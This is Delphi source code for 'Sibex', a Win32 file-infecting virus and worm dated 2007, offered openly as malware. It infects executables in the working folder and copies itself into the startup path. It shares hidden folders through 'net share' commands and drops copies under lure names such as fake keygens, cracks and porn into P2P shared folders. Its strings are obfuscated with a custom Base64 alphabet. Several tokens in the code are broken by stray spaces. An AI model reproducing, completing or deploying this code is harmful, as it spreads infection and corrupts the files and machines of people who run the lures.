///////////////////////////////////////////
//By ZloY (c) 2007 ///////////////
//Please Not Delete Copyright Leacher!////
/////////////////////////////////////////////////////
Program Sibex;
uses windows,sysutils;

//Virus Size
const virsize=30469;

var
victims:tsearchrec;
f1,f2:file;
MyString : PChar;
a : string;
Vir : array[0..260] of Char;
greets : string;
randdir,randdir2 : string;
ST:systemtime;
randfilename: array[0..21] of string = ('porn_sites_key.exe','Porn_Sites_Keygen.exe','CDH ack 4.33.5.exe','Windows Vista Nuke.exe','Free Porn.exe','Counter Strike Cheats.exe','Gay movie.exe','Win Rar_Crack.exe','Windows Nuke.exe','Sex Tetris.exe','steam cracked.exe','Win Rar.exe','ICQ5_Hack.exe','Myfoto.exe','Ass_Anal_fr ee_sex.exe','Keygen.exe','Patch.exe','Keygenerator .exe','Delphi 2006 Keygen.exe','Delphi 7 Crack.exe','Delphi 2007 Crack.exe','3D Sex Girl INstaller.exe');
//DecodeBase64
function DB64(Value: String): String;
const b64alphabet: PChar = 'ЙЦУКЕНГШЩЗХЪФЫВАПРОЛДЖЭЯ� �СМИТЬБЮйцукенгшщзхъфывап� �олджэячсмитьбю';
function DecodeChunk(const Chunk: String): String;
var
W: LongWord;
i: Byte;
begin
W := 0; Result := '';
for i := 1 to 4 do
if Pos(Chunk[i], b64alphabet) <> 0 then
W := W + Word((Pos(Chunk[i], b64alphabet) - 1)) shl ((4 - i) * 6);
for i := 1 to 3 do
Result := Result + Chr(W shr ((3 - i) * 8) and $ff);
end;
begin
Result := '';
if Length(Value) mod 4 <> 0 then Exit;
while Length(Value) > 0 do
begin
Result := Result + DecodeChunk(Copy(Value, 0, 4));
Delete(Value, 1, 4);
end;
end;
//Integer To String
function IntToStr(Num: Integer): string;
begin
Str(Num, result);
end;
//Get Windows Dir
function WinDir: string;
begin
SetLength(Result, MAX_PATH);
Windows.GetWindowsDirectory(PChar(Result), MAX_PATH);
Result := string(PChar(Result)) + '\';
end;
//Get System Dir
function SysDir: string;
begin
SetLength(Result, MAX_PATH);
Windows.GetSystemDirectory(PChar(Result), MAX_PATH);
Result := string(PChar(Result)) + '\';
end;

procedure go;
label 10;
var
Buf: array[1..virsize] of byte;
rect:trect;
nr,nw:longint;
begin
////
try
filemode :=0;
assignfile(f1,paramstr(0));
reset(f1,1);
filemode :=2;
assignfile(f2,paramstr(0)+PChar(DB64('ЪгЖчСП ..')));


rewrite(f2,1);
seek(f1,virsize);
seek(f2,0) ;
repeat
filemode :=0;
BlockRead(f1, Buf,virsize, NR);
filemode :=2;
BlockWrite(f2, Buf, NR, NW);
until (NR = 0) or (NW <> NR) ;
closefile(f1);
closefile(f2);

winexec(pchar(paramstr(0)+PChar(DB64('ЪгЖчСП ..'))),SW_show);
10:
if not deletefile(pchar(paramstr(0)+PChar(DB64('ЪгЖч� �П..')))) then begin ;


sleep(400);
goto 10;
end;
except
end;
////
end;
//Infect Files On Disc!
procedure infect(victim:string);
var
a:integer;

Buf: array[1..virsize] of byte;
nr,nw:longint;
begin
try
randomize;
assignfile(f1,victim);
a:=random(200);
rename(f1,'123'+inttostr(a)) ;
filemode :=0;
assignfile(f2,paramstr(0));
reset(f2,1) ;
seek(f2,0);
blockread(f2,buf,virsize);
filemode:=2 ;
closefile(f2);
assignfile(f1,victim);
rewrite(f1,1);
blockwrite(f1,buf,virsize);
assignfile(f2,'123'+inttostr(a));
reset(f2,1);
seek(f2,0);
repeat
BlockRead(f2, Buf,virsize, NR);
BlockWrite(f1, Buf, NR, NW);
until (NR = 0) or (NW <> NR);
closefile(f1);
closefile(f2);
deletefile((pchar('123')+inttostr(a)));
except
end;
end;



begin
randomize;
//Get Local Time
getlocaltime(ST);
//Allocate Memory
GetMem(MyString, 255);
//Get HomePath
GetEnvironmentVariable(PChar(DB64('ОЕьЫРЖЦ� �ЖЕй.')), MyString, 255);
//Get Size of virus body
GetModuleFileNameA(0, Vir, SizeOf(Vir));
//Copy To Autorun!
CopyFile(Vir, Pchar(DB64('ПлзТ')+MyString+PChar(DB64('ЯФА ъчВЪыивДйиВЯыюнлАтВиктВКф иАыТпВЪоивЮйчюКлсбъйЯГНэТ ГжаИгндИяЩвСЯцн'))), True);
CopyFile(Vir, Pchar(DB64('ПлзТ')+MyString+PChar(DB64('ЯНЫ дЧЯЗдЩГжнИшЖТДШЗаСяЗцИЯЫТ ДяРцТшРжТНрцЬшЦыИэсзЬГьоЪ гЖчСП..'))), True);
CopyFile(Vir, Pchar(DB64('ПлзТ')+MyString+PChar(DB64('ЯЕж нИшДйПЯСэМЭьТДШЗаСяЗцИЭжз ЯЕЖлСЭЫжБгнаИгДйЧЯЖдИэжцЬ ГнкЧЖрцЬшЦыИэсзЬГьоЪгЖчСП ..'))), True);
CopyFile(Vir, Pchar(DB64('ПлзТ')+MyString+PChar(DB64('ЯНЫ дЧЯЗдИЭЖвЬЖрПТгьшТгНыИЭЖТ ПЯЖдИяЫдЧЯЗдЯГНэТГжаИгндИ яЩвСЯцн'))), True);
CopyFile(Vir, Pchar(DB64('ПлзТ')+MyString+PChar(DB64('ЯЕН фИУЦЖТэЖоТжрЫСЭсжЩЕнвМЭЫз ИжрПТгьшТгНыЧЯЫТОЭсзЧэнаЯ ГНэТГжаИгндИяЩвСЯцн'))), True);
//Greets For NoobZ.
greets:=('SibeX The Win32.Virus Written On The Delphi. Kaspersky hi Greets All World and Vx Heavens... Now Satan Day. ');
//My Rand Function
randdir:=IntToStr(ST.wMinute)+IntToStr(ST.wYear)+I ntToStr(ST.wSecond)+IntToStr(ST.wHour);
randdir2:=IntToStr(ST.wMinute)+IntToStr(ST.wSecond )+IntToStr(ST.wHour)+IntToStr(ST.wDay);
//Copy File Into Folder(Small Worm Function).
CreateDirectory(Pchar(WinDir+PChar(randdir)), nil);
CreateDirectory(Pchar(WinDir+PChar(randdir2)), nil);
CopyFile(Vir,PChar(WinDir+PChar(randdir)+'\'+Pchar (randfilename[random(21)])), True);
CopyFile(Vir,PChar(WinDir+PChar(randdir2)+'\'+Pcha r(randfilename[random(21)])), True);
CopyFile(Vir,PChar(WinDir+PChar(randdir2)+'\'+Pcha r(randfilename[random(21)])), True);
winexec(PChar('cmd.exe /c net share Files=C:\Windows\'+PChar(randdir)),sw_hide);
winexec(PChar('cmd.exe /c net share My Documents=C:\Windows\'+PChar(randdir2)),sw_hide);

//Copy Worm Into Shared Folders (KazAaa,Emule(elame) or ect...
CopyFile(Vir,PChar(DB64('ПлзТ')+PChar(DB64('Т ШЗаСяЗцИОЦгМЭрнТжрЪЧЯзцЧО ЦФМЯРнЩЕфъХжрыБОЦлМГНоСЭП йСгьфСГЖоЯЙ..'))+Pchar(randfilename[random(3)])), True);
CopyFile(Vir,PChar(DB64('ПлзТ')+PChar(DB64('Т ШЗаСяЗцИОЦгМЭрнТжръЧЯзцЧО ЦфМЯРнЯГжсЩШЫщЧЯЗнСУЦгИэр еСЯЗТ'))+Pchar(randfilename[random(3)])), True);
CopyFile(Vir,PChar(DB64('ПлзТ')+PChar(DB64('Т ШЗаСяЗцИОЦгМЭрнТжръЧЯзцЧЖ рыБОЦлМГНоСЭПйСгьфСГЖоЯЙ.. '))+Pchar(randfilename[random(3)])), True);
CopyFile(Vir,PChar(DB64('ПлзТ')+PChar(DB64('Т ШЗаСяЗцИОЦгМЭрнТжрыИяЗпМГ ЖжТжрыБОЦлМГНоСЭПйСгьфСГЖ оЯЙ..'))+Pchar(randfilename[random(3)])), True);
CopyFile(Vir,PChar(DB64('ПлзТ')+PChar(DB64('Т ШЗаСяЗцИОЦгМЭрнТжршТгьъТя РнТнрыБОЦшТгьъТяРнТнп.'))+Pch ar(randfilename[random(3)])), True);
CopyFile(Vir,PChar(DB64('ПлзТ')+PChar(DB64('Т ШЗаСяЗцИОЦгМЭрнТжруСЭНоТэ ццТгЖТТэццТгЖеЯЙ..'))+Pchar(randfi lename[random(3)])), True);
CopyFile(Vir,PChar(DB64('ПлзТ')+PChar(DB64('Т ШЗаСяЗцИОЦгМЭрнТжрнСГьвМэ ЖсФкЙпФНрзИгЫаИЭнвСжп.'))+Pch ar(randfilename[random(3)])), True);
CopyFile(Vir,PChar(DB64('ПлзТ')+PChar(DB64('Т ШЗаСяЗцИОЦгМЭрнТжрфМЭжнЬэ ноСЖрлМГНоСЭРТ'))+Pchar(randfilename[random(3)])), True);
CopyFile(Vir,PChar(DB64('ПлзТ')+PChar(DB64('Т ШЗаСяЗцИОЦгМЭрнТжряМЭсыБН рлМГНоСЭРТ'))+Pchar(randfilename[random(3)])), True);
CopyFile(Vir,PChar(DB64('ПлзТ')+PChar(DB64('И ЯейТэццТгЖеЩГСаИГРнТнп.'))+P char(randfilename[random(3)])), True);
CopyFile(Vir,PChar(DB64('ПлзТ')+PChar(DB64('Т ШЗаСяЗцИОЦгМЭрнТжрЗПжНТДэ ццТгЖеЩЕСаИГРнТй..'))+Pchar(randfi lename[random(3)])), True);
CopyFile(Vir,PChar(DB64('ПлзТ')+PChar(DB64('Т ШЗаСяЗцИОЦгМЭрнТжраЬгЖоИг ЖдЯГнвЧэьыМЭсшЯЙ..'))+Pchar(randfi lename[random(3)])), True);
CopyFile(Vir,PChar(DB64('ПлзТ')+PChar(DB64('Л ЯейРГьяИграЧЭРлЯЙ..'))+Pchar(rand filename[random(3)])), True);
CopyFile(Vir,PChar(DB64('ПлзТ')+PChar(DB64('Т ШЗаСяЗцИОЦгМЭрнТжрОЧЯЦзСэ НдИяЗТДэццТгЖТ'))+Pchar(randfilename[random(3)])), True);
CopyFile(Vir,PChar(DB64('ПлзТ')+PChar(DB64('Т ШЗаСяЗцИОЦгМЭрнТжрЧИэраЭН рЕИяЬвИГьцСШЫТ'))+Pchar(randfilename[random(3)])), True);
CopyFile(Vir,PChar(DB64('ПлзТ')+PChar(DB64('Ч лзТТШЗаСяЗцИОЦгМЭрнТжрДСЯ ЫфЧЖрГМЭрнТжп.'))+Pchar(randfilename[random(3)])), True);
CopyFile(Vir,PChar(DB64('ПлзТ')+PChar(DB64('Т ШЗаСяЗцИОЦгМЭрнТжрЯМЭсЫЭН рЫБОЦЛМГНоСЭПйРгьфСГЖоЯЙ.. '))+Pchar(randfilename[random(3)])), True);
CopyFile(Vir,PChar(DB64('ПлзТ')+PChar(DB64('Т ШЗаСяЗцИОЦгМЭрнТжрЛМГНоСЭ НмЧЖрЕИяЬвИГьцСШЫТ'))+Pchar(rand filename[random(3)])), True);
CopyFile(Vir,PChar(DB64('ПлзТ')+PChar(DB64('Т ШЗаСяЗцИОЦгМЭрнТжрШИшЖкИГ ЖжТжрЕИяЬвИГьцСШЫТ'))+Pchar(rand filename[random(3)])), True);

//Infect Files On Body Worm
//CopyFile(Vir,PChar(SysDir+'\'+PChar(randdir)+PChar (DB64('ЪгЖчСП..'))), True);
//winexec((PChar(SysDir+'\'+PChar(randdir)+PChar(DB6 4('ЪгЖчСП..')))),sw_hide);

//CopyFile(Vir,PChar(WinDir+'\'+PChar(randdir)+PChar (DB64('ЪгЖчСП..'))), True);
//winexec((PChar(WinDir+'\'+PChar(randdir)+PChar(DB6 4('ЪгЖчСП..')))),sw_hide);

//Virus Function!!!
try
filemode :=0;
assignfile(f1,paramstr(0));
reset(f1,1);
if filesize(f1)>virsize then go;
closefile(f1);

filemode :=2;
except
end;
if FindFirst(PChar(DB64('ХуснБГД.')), Faanyfile, victims) = 0 then
repeat
if not ((victims.Name)=extractfilename(paramstr(0))) then begin
if not ((victims.Name)=extractfilename(extractfilename(pa ramstr(0)))) then infect(victims.Name);
end;
until FindNext(victims)<>0 ;
end.